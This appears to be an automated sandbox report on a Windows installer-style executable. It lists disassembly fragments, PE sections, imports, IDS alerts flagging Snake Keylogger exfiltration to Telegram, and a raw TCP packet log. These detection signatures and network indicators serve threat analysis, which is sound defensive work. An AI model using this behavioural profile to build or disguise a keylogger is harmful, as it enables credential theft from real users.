jne 00007F1A08C4D14Ch
push 0000000Ah
call 00007F1A08C50410h
push 00000008h
call 00007F1A08C50409h
push 00000006h
mov dword ptr [0042A244h], eax
call 00007F1A08C503FDh
cmp eax, ebx
je 00007F1A08C4D171h
push 0000001Eh
call eax
test eax, eax
je 00007F1A08C4D169h
or byte ptr [0042A24Fh], 00000040h
push ebp
call dword ptr [00408044h]
push ebx
call dword ptr [004082A0h]
mov dword ptr [0042A318h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 004216E8h
call dword ptr [00408188h]
push 0040A384h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8504	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x55000	0x21068	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6409	0x6600	bfe2b726d49cbd922b87bad5eea65e61	False	0.6540287990196079	data	6.416186322230332	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1396	0x1400	d45dcba8ca646543f7e339e20089687e	False	0.45234375	data	5.154907432640367	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20358	0x600	8575fc5e872ca789611c386779287649	False	0.5026041666666666	data	4.004402321344153	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2b000	0x2a000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x55000	0x21068	0x21200	03ed2ed76ba15352dac9e48819696134	False	0.8714696344339623	data	7.556190648348207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x554c0	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x55828	0xc2a3	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9966684729162903
RT_ICON	0x61ad0	0x86e0	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.990210843373494
RT_ICON	0x6a1b0	0x5085	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9867559307233299
RT_ICON	0x6f238	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.4358921161825726
RT_ICON	0x717e0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.4896810506566604
RT_ICON	0x72888	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.5367803837953091
RT_ICON	0x73730	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.6913357400722022
RT_ICON	0x73fd8	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.38597560975609757
RT_ICON	0x74640	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.4934971098265896
RT_ICON	0x74ba8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.651595744680851
RT_ICON	0x75010	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.46908602150537637
RT_ICON	0x752f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5472972972972973
RT_DIALOG	0x75420	0x120	data	English	United States	0.53125
RT_DIALOG	0x75540	0x118	data	English	United States	0.5678571428571428
RT_DIALOG	0x75658	0x120	data	English	United States	0.5104166666666666
RT_DIALOG	0x75778	0xf8	data	English	United States	0.6330645161290323
RT_DIALOG	0x75870	0xa0	data	English	United States	0.6125
RT_DIALOG	0x75910	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x75970	0xae	data	English	United States	0.6091954022988506
RT_VERSION	0x75a20	0x308	data	English	United States	0.47036082474226804
RT_MANIFEST	0x75d28	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
KERNEL32.dll	ExitProcess, SetFileAttributesW, Sleep, GetTickCount, CreateFileW, GetFileSize, GetModuleFileNameW, GetCurrentProcess, SetCurrentDirectoryW, GetFileAttributesW, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, CopyFileW, GetShortPathNameW, GlobalLock, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalUnlock, GetDiskFreeSpaceW, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
ADVAPI32.dll	AdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T07:31:46.466321+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49855	142.250.186.142	443	TCP
2025-01-11T07:31:52.684100+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49892	193.122.6.168	80	TCP
2025-01-11T07:32:02.309183+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49892	193.122.6.168	80	TCP
2025-01-11T07:32:03.115558+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.4	49968	149.154.167.220	443	TCP
2025-01-11T07:32:03.547442+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49968	149.154.167.220	443	TCP
2025-01-11T07:32:04.387334+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49978	193.122.6.168	80	TCP
2025-01-11T07:32:04.967289+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.4	49983	149.154.167.220	443	TCP
2025-01-11T07:32:05.375843+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49983	149.154.167.220	443	TCP
2025-01-11T07:32:06.084703+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49991	193.122.6.168	80	TCP
2025-01-11T07:32:06.709751+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.4	49996	149.154.167.220	443	TCP
2025-01-11T07:32:07.002723+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49996	149.154.167.220	443	TCP
2025-01-11T07:32:08.250052+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.4	50007	149.154.167.220	443	TCP
2025-01-11T07:32:08.524808+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	50007	149.154.167.220	443	TCP
2025-01-11T07:32:11.034010+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.4	50016	149.154.167.220	443	TCP
2025-01-11T07:32:11.383091+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	50016	149.154.167.220	443	TCP
2025-01-11T07:32:12.632554+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.4	50018	149.154.167.220	443	TCP
2025-01-11T07:32:12.919988+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	50018	149.154.167.220	443	TCP
2025-01-11T07:32:15.961929+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.4	50020	149.154.167.220	443	TCP
2025-01-11T07:32:16.351728+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	50020	149.154.167.220	443	TCP
2025-01-11T07:32:17.696802+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.4	50022	149.154.167.220	443	TCP
2025-01-11T07:32:17.916819+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	50022	149.154.167.220	443	TCP
2025-01-11T07:32:20.994975+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.4	50024	149.154.167.220	443	TCP
2025-01-11T07:32:21.217034+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	50024	149.154.167.220	443	TCP
2025-01-11T07:32:23.891363+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.4	50026	149.154.167.220	443	TCP
2025-01-11T07:32:24.193404+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	50026	149.154.167.220	443	TCP
2025-01-11T07:32:26.669545+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.4	50028	149.154.167.220	443	TCP
2025-01-11T07:32:27.018151+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	50028	149.154.167.220	443	TCP
2025-01-11T07:32:28.844046+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.4	50030	149.154.167.220	443	TCP
2025-01-11T07:32:29.166698+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	50030	149.154.167.220	443	TCP
2025-01-11T07:32:33.255971+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.4	50032	149.154.167.220	443	TCP
2025-01-11T07:32:33.677129+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	50032	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:31:45.370661020 CET	49855	443	192.168.2.4	142.250.186.142
Jan 11, 2025 07:31:45.370703936 CET	443	49855	142.250.186.142	192.168.2.4
Jan 11, 2025 07:31:45.370794058 CET	49855	443	192.168.2.4	142.250.186.142
Jan 11, 2025 07:31:45.388998032 CET	49855	443	192.168.2.4	142.250.186.142
Jan 11, 2025 07:31:45.389023066 CET	443	49855	142.250.186.142	192.168.2.4
Jan 11, 2025 07:31:46.060664892 CET	443	49855	142.250.186.142	192.168.2.4
Jan 11, 2025 07:31:46.060785055 CET	49855	443	192.168.2.4	142.250.186.142
Jan 11, 2025 07:31:46.061832905 CET	443	49855	142.250.186.142	192.168.2.4
Jan 11, 2025 07:31:46.061888933 CET	49855	443	192.168.2.4	142.250.186.142
Jan 11, 2025 07:31:46.166954041 CET	49855	443	192.168.2.4	142.250.186.142
Jan 11, 2025 07:31:46.166970015 CET	443	49855	142.250.186.142	192.168.2.4
Jan 11, 2025 07:31:46.167442083 CET	443	49855	142.250.186.142	192.168.2.4
Jan 11, 2025 07:31:46.167496920 CET	49855	443	192.168.2.4	142.250.186.142
Jan 11, 2025 07:31:46.172029972 CET	49855	443	192.168.2.4	142.250.186.142
Jan 11, 2025 07:31:46.219321966 CET	443	49855	142.250.186.142	192.168.2.4
Jan 11, 2025 07:31:46.466254950 CET	443	49855	142.250.186.142	192.168.2.4
Jan 11, 2025 07:31:46.466517925 CET	49855	443	192.168.2.4	142.250.186.142
Jan 11, 2025 07:31:46.466536999 CET	443	49855	142.250.186.142	192.168.2.4
Jan 11, 2025 07:31:46.466583967 CET	49855	443	192.168.2.4	142.250.186.142
Jan 11, 2025 07:31:46.466799974 CET	49855	443	192.168.2.4	142.250.186.142
Jan 11, 2025 07:31:46.466845989 CET	443	49855	142.250.186.142	192.168.2.4
Jan 11, 2025 07:31:46.466895103 CET	49855	443	192.168.2.4	142.250.186.142
Jan 11, 2025 07:31:46.492896080 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:46.492949009 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:46.493027925 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:46.493392944 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:46.493413925 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:47.128484011 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:47.128552914 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:47.133858919 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:47.133869886 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:47.134213924 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:47.134268045 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:47.134737015 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:47.179325104 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.201756954 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.201919079 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.207607031 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.207699060 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.220195055 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.220273972 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.220283985 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.220333099 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.226500034 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.226555109 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.288171053 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.288225889 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.288281918 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.288295031 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.288342953 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.291076899 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.292200089 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.292205095 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.292238951 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.297229052 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.297274113 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.297384024 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.297418118 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.303586006 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.303976059 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.303982019 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.304083109 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.309865952 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.309940100 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.309946060 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.309981108 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.316174030 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.316366911 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.316371918 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.316435099 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.322542906 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.322762012 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.322767019 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.322824955 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.328985929 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.329029083 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.329061985 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.329097986 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.334733963 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.334788084 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.334795952 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.334835052 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.340667009 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.340717077 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.340723038 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.340763092 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.346241951 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.346297979 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.346307993 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.346345901 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.352099895 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.352153063 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.356801033 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.356858969 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.357871056 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.357916117 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.374881029 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.374949932 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.374959946 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.374996901 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.375061035 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.375101089 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.375104904 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.375144958 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.375149012 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.375190973 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.377342939 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.377397060 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.377778053 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.377821922 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.383191109 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.383240938 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.383269072 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.383277893 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.383308887 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.383327007 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.388756990 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.388839006 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.388844967 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.388884068 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.394090891 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.394260883 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.394268990 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.394314051 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.399110079 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.399169922 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.399175882 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.399210930 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.404035091 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.404169083 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.404174089 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.404222965 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.408673048 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.408736944 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.408740997 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.408776045 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.413467884 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.413526058 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.413531065 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.413564920 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.418086052 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.418143988 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.418152094 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.418190002 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.422693968 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.422750950 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.422760010 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.422792912 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.427448034 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.427510023 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.427522898 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.427553892 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.432007074 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.432080030 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.432094097 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.432147026 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.432153940 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.436403036 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.436512947 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.436523914 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.436569929 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.440479994 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.440545082 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.440555096 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.440633059 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.440659046 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.440707922 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.440762997 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.440768957 CET	443	49866	142.250.185.129	192.168.2.4
Jan 11, 2025 07:31:50.440818071 CET	49866	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:31:50.716283083 CET	49892	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:31:50.721092939 CET	80	49892	193.122.6.168	192.168.2.4
Jan 11, 2025 07:31:50.721220970 CET	49892	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:31:50.721364021 CET	49892	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:31:50.726095915 CET	80	49892	193.122.6.168	192.168.2.4
Jan 11, 2025 07:31:52.440203905 CET	80	49892	193.122.6.168	192.168.2.4
Jan 11, 2025 07:31:52.449141026 CET	49892	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:31:52.454170942 CET	80	49892	193.122.6.168	192.168.2.4
Jan 11, 2025 07:31:52.636622906 CET	80	49892	193.122.6.168	192.168.2.4
Jan 11, 2025 07:31:52.684099913 CET	49892	80	192.168.2.4	193.122.6.168
Jan 11, 2025 07:31:53.398179054 CET	49913	443	192.168.2.4	104.21.16.1
Jan 11, 2025 07:31:53.398252964 CET	443	49913	104.21.16.1	192.168.2.4
Jan 11, 2025 07:31:53.398343086 CET	49913	443	192.168.2.4	104.21.16.1
Jan 11, 2025 07:31:53.437364101 CET	49913	443	192.168.2.4	104.21.16.1
Jan 11, 2025 07:31:53.437443972 CET	443	49913	104.21.16.1	192.168.2.4
Jan 11, 2025 07:31:53.925529003 CET	443	49913	104.21.16.1	192.168.2.4
